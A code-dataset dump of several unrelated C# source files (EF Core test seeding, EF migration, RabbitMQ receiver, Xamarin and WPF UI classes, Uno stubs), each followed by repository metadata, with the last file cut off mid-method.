.HasForeignKey<SingleShadowFk>("ParentId");
b.HasMany(e => e.ChildrenCompositeKey)
.WithOne(e => e.Parent)
.HasPrincipalKey(
e => new { e.AlternateId, e.Id })
.HasForeignKey(
e => new { e.ParentAlternateId, e.ParentId });
b.HasOne(e => e.SingleCompositeKey)
.WithOne(e => e.Parent)
.HasPrincipalKey<Parent>(
e => new { e.AlternateId, e.Id })
.HasForeignKey<SingleCompositeKey>(
e => new { e.ParentAlternateId, e.ParentId });
});
modelBuilder.Entity<Mother>();
modelBuilder.Entity<Father>();
modelBuilder.Entity<Blog>(
e =>
{
e.OwnsOne(x => x.Writer);
e.OwnsOne(x => x.Reader);
e.OwnsOne(x => x.Host);
});
modelBuilder.Entity<Blog>(
e =>
{
e.OwnsOne(x => x.Writer);
e.OwnsOne(x => x.Reader);
e.OwnsOne(x => x.Host);
});
modelBuilder.Entity<Address>(
builder =>
{
builder.HasKey(prop => prop.AddressId);
builder.Property(prop => prop.Line1)
.IsRequired()
.HasMaxLength(50);
builder.Property(prop => prop.Line2)
.IsRequired(false)
.HasMaxLength(50);
});
modelBuilder.Entity<Applicant>(
builder =>
{
builder.HasKey(prop => prop.ApplicantId);
builder.OwnsOne(
prop => prop.Name, name =>
{
name
.OwnsOne(prop => prop.FirstName)
.Property("_value")
.HasMaxLength(50)
.IsRequired();
name
.OwnsOne(prop => prop.LastName)
.Property("_value")
.HasMaxLength(50)
.IsRequired();
});
});
modelBuilder.Entity<Pyrson>(
builder =>
{
builder.HasKey(prop => prop.PyrsonId);
builder.OwnsOne(
prop => prop.Name, name =>
{
name
.OwnsOne(prop => prop.FirstName)
.Property("_value")
.HasMaxLength(50)
.IsRequired();
name
.OwnsOne(prop => prop.LastName)
.Property("_value")
.HasMaxLength(50)
.IsRequired();
});
builder.HasOne(prop => prop.Address)
.WithOne()
.HasForeignKey<Address>(prop => prop.PyrsonId);
});
modelBuilder.Entity<NonVirtualOneToOneOwner>();
modelBuilder.Entity<VirtualOneToOneOwner>();
// Note: Sqlite does not support auto-increment on composite keys
// so have to redefine the key for this to work in Sqlite
modelBuilder.Entity<NonVirtualOneToManyOwner>()
.OwnsMany(o => o.Addresses, a => a.HasKey("Id"));
modelBuilder.Entity<VirtualOneToManyOwner>()
.OwnsMany(o => o.Addresses, a => a.HasKey("Id"));
modelBuilder.Entity<ExplicitLazyLoadNonVirtualOneToManyOwner>()
.OwnsMany(o => o.Addresses, a => a.HasKey("Id"));
modelBuilder.Entity<ExplicitLazyLoadVirtualOneToManyOwner>()
.OwnsMany(o => o.Addresses, a => a.HasKey("Id"));
}
protected override void Seed(DbContext context)
{
context.Add(new Quest { Birthday = new DateTime(1973, 9, 3) });
context.Add(
new Mother
{
Id = 707,
AlternateId = "Root",
Children = new List<Child> { new() { Id = 11 }, new() { Id = 12 } },
SinglePkToPk = new SinglePkToPk { Id = 707 },
Single = new Single { Id = 21 },
ChildrenAk = new List<ChildAk> { new() { Id = 31 }, new() { Id = 32 } },
SingleAk = new SingleAk { Id = 42 },
ChildrenShadowFk = new List<ChildShadowFk> { new() { Id = 51 }, new() { Id = 52 } },
SingleShadowFk = new SingleShadowFk { Id = 62 },
ChildrenCompositeKey =
new List<ChildCompositeKey> { new() { Id = 51 }, new() { Id = 52 } },
SingleCompositeKey = new SingleCompositeKey { Id = 62 },
WithRecursiveProperty = new WithRecursiveProperty { Id = 8086 }
});
context.Add(
new Blog
{
Writer = new Person { FirstName = "firstNameWriter0", LastName = "lastNameWriter0" },
Reader = new Person { FirstName = "firstNameReader0", LastName = "lastNameReader0" },
Host = new Host { HostName = "127.0.0.1" }
});
context.Add(
new Blog
{
Writer = new Person { FirstName = "firstNameWriter1", LastName = "lastNameWriter1" },
Reader = new Person { FirstName = "firstNameReader1", LastName = "lastNameReader1" },
Host = new Host { HostName = "127.0.0.2" }
});
context.Add(
new Blog
{
Writer = new Person { FirstName = "firstNameWriter2", LastName = "lastNameWriter2" },
Reader = new Person { FirstName = "firstNameReader2", LastName = "lastNameReader2" },
Host = new Host { HostName = "127.0.0.3" }
});
var nose1 = new Nose { Size = "Small" };
var nose2 = new Nose { Size = "Medium" };
var nose3 = new Nose { Size = "Large" };
context.Add(
new Entity
{
BaseNoses = new List<Nose>
{
nose1,
nose2,
nose3
}
});
context.Add(
new Parson { ParsonNoses = new List<Nose> { nose2, nose3 } });
context.Add(
new Company { CompanyNoses = new List<Nose> { nose1, nose3 } });
context.Add(
new Applicant(
new FullName(FirstName.Create("Amila"), LastName.Create("Udayanga"))));
context.Add(
new Pyrson(new FullName(FirstName.Create("Amila"), LastName.Create("Udayanga")))
{
Address = new Address { Line1 = "Line1", Line2 = "Line2" }
});
context.Add(
new NonVirtualOneToOneOwner
{
Id = 100, Address = new OwnedAddress { Street = "Paradise Alley", PostalCode = "WEEEEEE" }
});
context.Add(
new VirtualOneToOneOwner { Id = 200, Address = new OwnedAddress { Street = "Dead End", PostalCode = "N0 WA1R" } });
context.Add(
new NonVirtualOneToManyOwner
{
Id = 300,
Addresses = new List<OwnedAddress> { new() { Street = "4 Privet Drive", PostalCode = "SURREY" } }
});
context.Add(
new VirtualOneToManyOwner
{
Id = 400,
Addresses = new List<OwnedAddress>
{
new() { Street = "The Ministry", PostalCode = "MAG1C" },
new() { Street = "Diagon Alley", PostalCode = "WC2H 0AW" },
new() { Street = "Shell Cottage", PostalCode = "THE SEA" }
}
});
context.Add(
new ExplicitLazyLoadNonVirtualOneToManyOwner
{
Id = 500,
Addresses = new List<OwnedAddress> { new() { Street = "Spinner's End", PostalCode = "BE WA1R" } }
});
context.Add(
new ExplicitLazyLoadVirtualOneToManyOwner
{
Id = 600,
Addresses = new List<OwnedAddress>
{
new() { Street = "12 Grimmauld Place", PostalCode = "L0N D0N" }
}
});
context.SaveChanges();
}
}
}
}
| 35.107544 | 183 | 0.571178 | [
"MIT"
] | FelicePollano/efcore | test/EFCore.Specification.Tests/LazyLoadProxyTestBase.cs | 109,360 | C# |
using Newtonsoft.Json.Linq;
namespace SitecoreCognitiveServices.Foundation.BigMLSDK
{
public partial class Model
{
/// <summary>
/// Creating a model is a process that can take just a few seconds or a
/// few days depending on the size of the dataset used as input and on
/// the work load of BigML's systems.
/// The model goes through a number of states until its fully completed.
/// Through the status field in the model you can determine when the
/// model has been fully processed and ready to be used to create
/// predictions.
/// </summary>
public class Status : Status<Model>
{
internal Status(JObject status): base(status)
{
}
/// <summary>
/// How far BigML.io has progressed processing the model.
/// </summary>
public double Progress
{
get { return _status.progress; }
}
}
}
} | 32.03125 | 80 | 0.566829 | [
"MIT"
] | markstiles/SitecoreCognitiveServices.Core | src/Foundation/BigMLSDK/code/Model/Status.cs | 1,025 | C# |
using System.Collections;
using System.Linq;
using System.Collections.Generic;
using UnityEngine;
using UnityEditor;
namespace Coffee.PackageManager
{
public class Settings : ScriptableObject
{
static HostData s_EmptyHostData;
static Settings s_Instance = null;
static Settings Instance
{
get
{
if (s_Instance == null)
{
s_Instance = AssetDatabase.FindAssets ("t:" + typeof (Settings).Name)
.Select (x => AssetDatabase.GUIDToAssetPath (x))
.OrderBy (x => x)
.Select(x=>AssetDatabase.LoadAssetAtPath<Settings> (x))
.FirstOrDefault ();
}
if (s_EmptyHostData == null)
{
s_EmptyHostData = new HostData ()
{
LogoDark = EditorGUIUtility.FindTexture ("buildsettings.web.small"),
LogoLight = EditorGUIUtility.FindTexture ("d_buildsettings.web.small"),
};
}
return s_Instance;
}
}
public HostData [] m_HostData;
public static HostData GetHostData (string packageId)
{
return Instance
? Instance.m_HostData.FirstOrDefault (x => packageId.Contains (x.Domain)) ?? s_EmptyHostData
: s_EmptyHostData;
}
}
[System.Serializable]
public class HostData
{
public string Name = "web";
public string Domain = "undefined";
public string Blob = "blob";
public Texture2D LogoDark = null;
public Texture2D LogoLight = null;
}
} | 23.631579 | 96 | 0.684484 | [
"MIT"
] | drunken-lemurs/UpmGitExtension | Editor/Scripts/Settings.cs | 1,349 | C# |
#pragma warning disable 108 // new keyword hiding
#pragma warning disable 114 // new keyword hiding
namespace Windows.Devices.Display.Core
{
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented]
#endif
public partial class DisplayManagerEnabledEventArgs
{
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public bool Handled
{
get
{
throw new global::System.NotImplementedException("The member bool DisplayManagerEnabledEventArgs.Handled is not implemented in Uno.");
}
set
{
global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.Devices.Display.Core.DisplayManagerEnabledEventArgs", "bool DisplayManagerEnabledEventArgs.Handled");
}
}
#endif
// Forced skipping of method Windows.Devices.Display.Core.DisplayManagerEnabledEventArgs.Handled.get
// Forced skipping of method Windows.Devices.Display.Core.DisplayManagerEnabledEventArgs.Handled.set
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public global::Windows.Foundation.Deferral GetDeferral()
{
throw new global::System.NotImplementedException("The member Deferral DisplayManagerEnabledEventArgs.GetDeferral() is not implemented in Uno.");
}
#endif
}
}
| 46.571429 | 188 | 0.760123 | [
"Apache-2.0"
] | AbdalaMask/uno | src/Uno.UWP/Generated/3.0.0.0/Windows.Devices.Display.Core/DisplayManagerEnabledEventArgs.cs | 1,630 | C# |
using EasyNetQ;
using EventBusMessages;
using Newtonsoft.Json;
using System;
namespace DotnetCore.Receiver
{
class Program
{
readonly static IBus bus = RabbitHutch.CreateBus(
connectionString: "host=localhost;virtualHost=CUSTOM_VHOST;username=rabbitmq_adm1n;password=Admin@#789;timeout=10",
registerServices: s =>
{
s.Register<ITypeNameSerializer, EventBusTypeNameSerializer>();
});
static void Main(string[] args)
{
try
{
bus.SendReceive.ReceiveAsync<PlaceOrderRequestMessage>("test.communication.queue", msg =>
{
Console.WriteLine($"Received message: {JsonConvert.SerializeObject(msg)}");
});
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
Console.ReadLine(); // to keep running the console app
}
}
}
| 29.147059 | 127 | 0.556004 | [
"MIT"
] | DHJayasinghe/rabbitmq-easynetq-communication | DotnetCore.Receiver/Program.cs | 993 | C# |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using NUnit.Framework;
using Data.Eval.CodeWriting;
using Tests.Resources;
namespace Tests.CodeWriting
{
[TestFixture]
public class CSharpCodeWriterTests
{
[Test]
public void CSharpCodeWriter_SimpleExpression()
{
var writer = new CSharpCodeWriter();
var expression = "return 1 + 1";
var classText = writer.GetClassTextWithReturn(
expression: expression,
variables: new List<CSharpCodeWriter.Variable> { },
usings: new List<string> { },
methods: new List<string> { });
Assert.AreEqual(
// line ending types don't matter.
// making sure tests work on Windows and *nix platforms.
ResourceReader.CSharpSimpleExpression.Replace("\r\n", "\n"),
classText.Replace("\r\n", "\n"));
}
[Test]
public void CSharpCodeWriter_SimpleVariable()
{
var writer = new CSharpCodeWriter();
var expression = "return intValue + 1";
var classText = writer.GetClassTextWithReturn(
expression: expression,
variables: new List<CSharpCodeWriter.Variable>
{
new CSharpCodeWriter.Variable
{
Name = "intValue",
Type = typeof(int)
}
},
usings: new List<string> { },
methods: new List<string> { });
Assert.AreEqual(
ResourceReader.CSharpSimpleVariable.Replace("\r\n", "\n"),
classText.Replace("\r\n", "\n"));
}
}
}
| 22.53125 | 64 | 0.676838 | [
"Apache-2.0"
] | JTOne123/data-eval | Data_Eval/Tests/CodeWriting/CSharpCodeWriterTests.cs | 1,444 | C# |
using System;
using System.ComponentModel;
namespace Umbraco.Core.Configuration.UmbracoSettings
{
public interface IUmbracoSettingsSection : IUmbracoConfigurationSection
{
IContentSection Content { get; }
ISecuritySection Security { get; }
IRequestHandlerSection RequestHandler { get; }
ITemplatesSection Templates { get; }
IDeveloperSection Developer { get; }
IViewStateMoverModuleSection ViewStateMoverModule { get; }
ILoggingSection Logging { get; }
IScheduledTasksSection ScheduledTasks { get; }
IDistributedCallSection DistributedCall { get; }
IRepositoriesSection PackageRepositories { get; }
IProvidersSection Providers { get; }
[EditorBrowsable(EditorBrowsableState.Never)]
[Obsolete("This is no longer used and will be removed in future versions")]
IHelpSection Help { get; }
IWebRoutingSection WebRouting { get; }
IScriptingSection Scripting { get; }
}
} | 26.815789 | 83 | 0.689892 | [
"MIT"
] | nvdeveloper/UmbracoUpgrade-7.7.0-WordAround | src/Umbraco.Core/Configuration/UmbracoSettings/IUmbracoSettingsSection.cs | 1,021 | C# |
using System;
using PresenceLight.Core;
using System.Windows;
using System.Windows.Media;
using System.Text.RegularExpressions;
using System.Windows.Controls;
using PresenceLight.Telemetry;
using System.Linq;
using Microsoft.Extensions.Logging;
using System.Collections.Generic;
using PresenceLight.Core.WizServices;
namespace PresenceLight
{
public partial class MainWindow : Window
{
#region Wiz Panel
private void cbIsWizEnabledChanged(object sender, RoutedEventArgs e)
{
if (Config.LightSettings.Wiz.IsEnabled)
{
wiz.pnlWiz.Visibility = Visibility.Visible;
}
else
{
wiz.pnlWiz.Visibility = Visibility.Collapsed;
}
SyncOptions();
e.Handled = true;
}
private async void FindWiz_Click(object sender, RoutedEventArgs e)
{
try
{
wiz.pnlWizData.Visibility = Visibility.Collapsed;
var lightList = await _mediator.Send(new Core.WizServices.GetLightsCommand()).ConfigureAwait(true);
wiz.ddlWizLights.ItemsSource = lightList;
wiz.pnlWizData.Visibility = Visibility.Visible;
if (Config.LightSettings.Wiz.UseActivityStatus)
{
wiz.pnlWizActivityStatuses.Visibility = Visibility.Visible;
wiz.pnlWizAvailableStatuses.Visibility = Visibility.Collapsed;
}
else
{
wiz.pnlWizAvailableStatuses.Visibility = Visibility.Visible;
wiz.pnlWizActivityStatuses.Visibility = Visibility.Collapsed;
}
}
catch (Exception ex)
{
_logger.LogError(ex, "Error occured Finding Wiz");
_diagClient.TrackException(ex);
}
}
private void ddlWizLights_SelectionChanged(object sender, System.Windows.Controls.SelectionChangedEventArgs e)
{
if (wiz.ddlWizLights.SelectedItem != null)
{
var selectedWizItem = (WizLight)wiz.ddlWizLights.SelectedItem;
Config.LightSettings.Wiz.SelectedItemId = selectedWizItem.MacAddress;
SyncOptions();
}
e.Handled = true;
}
private async void CheckWiz()
{
try
{
wiz.pnlWizData.Visibility = Visibility.Collapsed;
if (Config != null)
{
SyncOptions();
wiz.ddlWizLights.ItemsSource = await _mediator.Send(new Core.WizServices.GetLightsCommand()).ConfigureAwait(true);
foreach (var item in wiz.ddlWizLights.Items)
{
var light = (WizLight)item;
if (light.MacAddress == Config.LightSettings.Wiz.SelectedItemId)
{
wiz.ddlWizLights.SelectedItem = item;
}
}
wiz.ddlWizLights.Visibility = Visibility.Visible;
wiz.pnlWizData.Visibility = Visibility.Visible;
if (Config.LightSettings.Wiz.UseActivityStatus)
{
wiz.pnlWizActivityStatuses.Visibility = Visibility.Visible;
wiz.pnlWizAvailableStatuses.Visibility = Visibility.Collapsed;
}
else
{
wiz.pnlWizAvailableStatuses.Visibility = Visibility.Visible;
wiz.pnlWizActivityStatuses.Visibility = Visibility.Collapsed;
}
}
}
catch (Exception e)
{
_logger.LogError(e, "Error occured Checking Wiz");
_diagClient.TrackException(e);
}
}
private void cbUseWizActivityStatus(object sender, RoutedEventArgs e)
{
if (Config.LightSettings.Wiz.UseActivityStatus)
{
wiz.pnlWizAvailableStatuses.Visibility = Visibility.Collapsed;
wiz.pnlWizActivityStatuses.Visibility = Visibility.Visible;
}
else
{
wiz.pnlWizAvailableStatuses.Visibility = Visibility.Visible;
wiz.pnlWizActivityStatuses.Visibility = Visibility.Collapsed;
}
SyncOptions();
e.Handled = true;
}
private void cbWizIsDisabledChange(object sender, RoutedEventArgs e)
{
CheckBox cb = e.Source as CheckBox ?? throw new ArgumentException("Check Box Not Found");
var cbName = cb.Name.Replace("Disabled", "Colour");
var colorpicker = (Xceed.Wpf.Toolkit.ColorPicker)this.FindName(cbName);
colorpicker.IsEnabled = !cb.IsChecked.Value;
SyncOptions();
e.Handled = true;
}
private async void SaveWiz_Click(object sender, RoutedEventArgs e)
{
try
{
wiz.btnWiz.IsEnabled = false;
Config = Helpers.CleanColors(Config);
await _settingsService.SaveSettings(Config).ConfigureAwait(true);
CheckWiz();
wiz.lblWizSaved.Visibility = Visibility.Visible;
wiz.btnWiz.IsEnabled = true;
}
catch (Exception ex)
{
_logger.LogError(ex, "Error Occured Saving Wiz Settings");
_diagClient.TrackException(ex);
}
}
#endregion
}
}
| 35.583851 | 134 | 0.543376 | [
"MIT"
] | gizmohd/presencelight | src/DesktopClient/PresenceLight/MainWindow.Wiz.cs | 5,731 | C# |
using System;
using Microsoft.EntityFrameworkCore.Metadata;
using Microsoft.EntityFrameworkCore.Migrations;
namespace BookLibrary.App.Migrations
{
public partial class final : Migration
{
protected override void Up(MigrationBuilder migrationBuilder)
{
migrationBuilder.CreateTable(
name: "Authors",
columns: table => new
{
Id = table.Column<int>(nullable: false)
.Annotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn),
Name = table.Column<string>(maxLength: 30, nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_Authors", x => x.Id);
});
migrationBuilder.CreateTable(
name: "Borrowers",
columns: table => new
{
Id = table.Column<int>(nullable: false)
.Annotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn),
Name = table.Column<string>(maxLength: 30, nullable: false),
Address = table.Column<string>(maxLength: 250, nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_Borrowers", x => x.Id);
});
migrationBuilder.CreateTable(
name: "Directors",
columns: table => new
{
Id = table.Column<int>(nullable: false)
.Annotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn),
Name = table.Column<string>(maxLength: 30, nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_Directors", x => x.Id);
});
migrationBuilder.CreateTable(
name: "Books",
columns: table => new
{
Id = table.Column<int>(nullable: false)
.Annotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn),
Title = table.Column<string>(maxLength: 50, nullable: false),
Description = table.Column<string>(maxLength: 400, nullable: false),
AuthorId = table.Column<int>(nullable: false),
CoverImage = table.Column<string>(nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_Books", x => x.Id);
table.ForeignKey(
name: "FK_Books_Authors_AuthorId",
column: x => x.AuthorId,
principalTable: "Authors",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
});
migrationBuilder.CreateTable(
name: "Movies",
columns: table => new
{
Id = table.Column<int>(nullable: false)
.Annotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn),
Title = table.Column<string>(maxLength: 50, nullable: false),
Description = table.Column<string>(maxLength: 400, nullable: false),
DirectorId = table.Column<int>(nullable: false),
PosterImage = table.Column<string>(nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_Movies", x => x.Id);
table.ForeignKey(
name: "FK_Movies_Directors_DirectorId",
column: x => x.DirectorId,
principalTable: "Directors",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
});
migrationBuilder.CreateTable(
name: "BorrowedBooks",
columns: table => new
{
Id = table.Column<int>(nullable: false)
.Annotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn),
BorrowerId = table.Column<int>(nullable: false),
BookId = table.Column<int>(nullable: false),
StartDate = table.Column<DateTime>(nullable: false),
EndDate = table.Column<DateTime>(nullable: true),
IsAvailable = table.Column<bool>(nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_BorrowedBooks", x => x.Id);
table.ForeignKey(
name: "FK_BorrowedBooks_Books_BookId",
column: x => x.BookId,
principalTable: "Books",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
table.ForeignKey(
name: "FK_BorrowedBooks_Borrowers_BorrowerId",
column: x => x.BorrowerId,
principalTable: "Borrowers",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
});
migrationBuilder.CreateTable(
name: "BorrowedMovies",
columns: table => new
{
Id = table.Column<int>(nullable: false)
.Annotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn),
BorrowerId = table.Column<int>(nullable: false),
MovieId = table.Column<int>(nullable: false),
StartDate = table.Column<DateTime>(nullable: false),
EndDate = table.Column<DateTime>(nullable: true),
IsAvailable = table.Column<bool>(nullable: false)
},
constraints: table =>
{
table.PrimaryKey("PK_BorrowedMovies", x => x.Id);
table.ForeignKey(
name: "FK_BorrowedMovies_Borrowers_BorrowerId",
column: x => x.BorrowerId,
principalTable: "Borrowers",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
table.ForeignKey(
name: "FK_BorrowedMovies_Movies_MovieId",
column: x => x.MovieId,
principalTable: "Movies",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
});
migrationBuilder.CreateIndex(
name: "IX_Books_AuthorId",
table: "Books",
column: "AuthorId");
migrationBuilder.CreateIndex(
name: "IX_BorrowedBooks_BookId",
table: "BorrowedBooks",
column: "BookId");
migrationBuilder.CreateIndex(
name: "IX_BorrowedBooks_BorrowerId",
table: "BorrowedBooks",
column: "BorrowerId");
migrationBuilder.CreateIndex(
name: "IX_BorrowedMovies_BorrowerId",
table: "BorrowedMovies",
column: "BorrowerId");
migrationBuilder.CreateIndex(
name: "IX_BorrowedMovies_MovieId",
table: "BorrowedMovies",
column: "MovieId");
migrationBuilder.CreateIndex(
name: "IX_Movies_DirectorId",
table: "Movies",
column: "DirectorId");
}
protected override void Down(MigrationBuilder migrationBuilder)
{
migrationBuilder.DropTable(
name: "BorrowedBooks");
migrationBuilder.DropTable(
name: "BorrowedMovies");
migrationBuilder.DropTable(
name: "Books");
migrationBuilder.DropTable(
name: "Borrowers");
migrationBuilder.DropTable(
name: "Movies");
migrationBuilder.DropTable(
name: "Authors");
migrationBuilder.DropTable(
name: "Directors");
}
}
}
| 43.076555 | 123 | 0.479618 | [
"MIT"
] | LyuboslavKrastev/CSharp-MVC-Frameworks-ASP.NET-Core-July-2018 | 04. MVC-Architecture-Components-Exercises/BookLibrary.App/Migrations/20180722181752_final.cs | 9,005 | C# |
// <auto-generated />
using System;
using KNet.API.Context;
using Microsoft.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore.Infrastructure;
using Microsoft.EntityFrameworkCore.Metadata;
using Microsoft.EntityFrameworkCore.Migrations;
using Microsoft.EntityFrameworkCore.Storage.ValueConversion;
namespace KNet.API.Migrations
{
[DbContext(typeof(AppDbContext))]
[Migration("20201209095755_Initial")]
partial class Initial
{
protected override void BuildTargetModel(ModelBuilder modelBuilder)
{
#pragma warning disable 612, 618
modelBuilder
.UseIdentityColumns()
.HasAnnotation("Relational:MaxIdentifierLength", 128)
.HasAnnotation("ProductVersion", "5.0.1");
modelBuilder.Entity("KNet.API.Models.User", b =>
{
b.Property<Guid>("Id")
.ValueGeneratedOnAdd()
.HasColumnType("uniqueidentifier");
b.Property<string>("Name")
.HasColumnType("nvarchar(max)");
b.HasKey("Id");
b.ToTable("Users");
});
#pragma warning restore 612, 618
}
}
}
| 30.365854 | 75 | 0.6 | [
"MIT"
] | PGBSNH19/project-g2 | KNet/KNet.API/Migrations/20201209095755_Initial.Designer.cs | 1,247 | C# |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.EntityFrameworkCore;
namespace FoodRecipeBuilder.Models
{
public class RecipeContext : DbContext
{
public RecipeContext(DbContextOptions<RecipeContext> options) : base(options)
{
}
public DbSet<RecipeModel> RecipeModels { get; set; }
}
}
| 21 | 85 | 0.711779 | [
"MIT"
] | CSharpFinalProject174/FinalProject | FoodRecipeBuilder/Models/RecipeContext.cs | 401 | C# |
using System;
using Xamarin.Forms;
namespace ExploreChildSizes
{
class OpenStackLayout : StackLayout
{
static readonly BindablePropertyKey ConstraintKey =
BindableProperty.CreateReadOnly(
"Constraint",
typeof(Size),
typeof(OpenStackLayout),
new Size());
public static readonly BindableProperty ConstraintProperty =
ConstraintKey.BindableProperty;
static readonly BindablePropertyKey SizeRequestKey =
BindableProperty.CreateReadOnly(
"SizeRequest",
typeof(SizeRequest),
typeof(OpenStackLayout),
new SizeRequest());
public static readonly BindableProperty SizeRequestProperty =
SizeRequestKey.BindableProperty;
static readonly BindablePropertyKey ElementBoundsKey =
BindableProperty.CreateReadOnly(
"ElementBounds",
typeof(Rectangle),
typeof(OpenStackLayout),
new Rectangle());
public static readonly BindableProperty ElementBoundsProperty =
ElementBoundsKey.BindableProperty;
static readonly BindablePropertyKey LayoutBoundsKey =
BindableProperty.CreateReadOnly(
"LayoutBounds",
typeof(Rectangle),
typeof(OpenStackLayout),
new Rectangle());
public static readonly BindableProperty LayoutBoundsProperty =
LayoutBoundsKey.BindableProperty;
public OpenStackLayout()
{
SizeChanged += (sender, args) =>
{
ElementBounds = Bounds;
};
}
public Size Constraint
{
private set { SetValue(ConstraintKey, value); }
get { return (Size)GetValue(ConstraintProperty); }
}
public SizeRequest SizeRequest
{
private set { SetValue(SizeRequestKey, value); }
get { return (SizeRequest)GetValue(SizeRequestProperty); }
}
public Rectangle ElementBounds
{
private set { SetValue(ElementBoundsKey, value); }
get { return (Rectangle)GetValue(ElementBoundsProperty); }
}
public Rectangle LayoutBounds
{
private set { SetValue(LayoutBoundsKey, value); }
get { return (Rectangle)GetValue(LayoutBoundsProperty); }
}
protected override SizeRequest OnSizeRequest(double widthConstraint, double heightConstraint)
{
Constraint = new Size(widthConstraint, heightConstraint);
SizeRequest sizeRequest = base.OnSizeRequest(widthConstraint, heightConstraint);
SizeRequest = sizeRequest;
return sizeRequest;
}
protected override void LayoutChildren(double x, double y, double width, double height)
{
LayoutBounds = new Rectangle(x, y, width, height);
base.LayoutChildren(x, y, width, height);
}
}
}
| 32.557895 | 101 | 0.596508 | [
"Apache-2.0"
] | aliozgur/xamarin-forms-book-samples | Chapter26/ExploreChildSizes/ExploreChildSizes/ExploreChildSizes/OpenStackLayout.cs | 3,093 | C# |
// <copyright file="ModerationEntity.cs" company="Microsoft">
// Copyright (c) Microsoft. All rights reserved.
// </copyright>
namespace SocialPlus.Server.Entities
{
using System;
using Microsoft.CTStore;
using SocialPlus.Models;
/// <summary>
/// The content moderation entity.
/// </summary>
public class ModerationEntity : ObjectEntity, IModerationEntity
{
/// <summary>
/// Gets or sets the unique identifier for the image being moderated
/// </summary>
public string ImageHandle { get; set; }
/// <summary>
/// Gets or sets the type of content being reported on
/// </summary>
public ContentType ContentType { get; set; }
/// <summary>
/// Gets or sets the unique identifier for the content being reported on
/// </summary>
public string ContentHandle { get; set; }
/// <summary>
/// Gets or sets the unique identifier for the user that created the content.
/// This can be null if a user did not create the content.
/// </summary>
public string UserHandle { get; set; }
/// <summary>
/// Gets or sets the unique identifier for the app that the content came from
/// </summary>
public string AppHandle { get; set; }
/// <summary>
/// Gets or sets the type of image being reported
/// </summary>
public ImageType ImageType { get; set; }
/// <summary>
/// Gets or sets the time at which the moderation request was created
/// </summary>
public DateTime CreatedTime { get; set; }
/// <summary>
/// Gets or sets the moderation status
/// </summary>
public ModerationStatus ModerationStatus { get; set; }
}
}
| 30.847458 | 85 | 0.59011 | [
"MIT"
] | Bhaskers-Blu-Org2/EmbeddedSocial-Service | code/Server/Common/Entities/ModerationEntity.cs | 1,822 | C# |
using System;
using System.ComponentModel;
using System.Linq;
using System.Reflection;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Diagnostics;
using Microsoft.Win32;
using NAudio.CoreAudioApi;
namespace PlexFlux.UI
{
/// <summary>
/// Interaction logic for SettingsWindow.xaml
/// </summary>
public partial class SettingsWindow : Window
{
private bool nextTrackApplied;
public SettingsWindow()
{
InitializeComponent();
// load config
var runKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
checkLaunchStartup.IsChecked = runKey.GetValueNames().Contains("PlexFlux");
var app = (App)Application.Current;
checkMinimize.IsChecked = app.config.AllowMinimize;
checkEnableNotification.IsChecked = app.config.EnableNotification;
checkDisableDiskCaching.IsChecked = app.config.DisableDiskCaching;
// device
foreach (var device in new MMDeviceEnumerator().EnumerateAudioEndPoints(DataFlow.Render, DeviceState.Active))
{
comboDevice.Items.Add(new ComboBoxItem()
{
Tag = device.ID,
Content = device.FriendlyName
});
}
comboDevice.SelectedIndex = 0; // default device
for (int i = 0; i < comboDevice.Items.Count; i++)
{
var deviceID = (string)((ComboBoxItem)comboDevice.Items[i]).Tag;
if (deviceID == app.config.OutputDeviceID)
{
comboDevice.SelectedIndex = i;
break;
}
}
comboOutputMode.SelectedIndex = app.config.IsExclusive ? 1 : 0;
// bitrate
for (int i = 0; i < comboBitrate.Items.Count; i++)
{
var bitrate = (int)((ComboBoxItem)comboBitrate.Items[i]).Tag;
if (bitrate == app.config.TranscodeBitrate)
{
comboBitrate.SelectedIndex = i;
break;
}
}
UpdateDeskBandInstallationState();
nextTrackApplied = false;
}
private void OK_Click(object sender, RoutedEventArgs e)
{
using (var runKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
{
if (checkLaunchStartup.IsChecked == true)
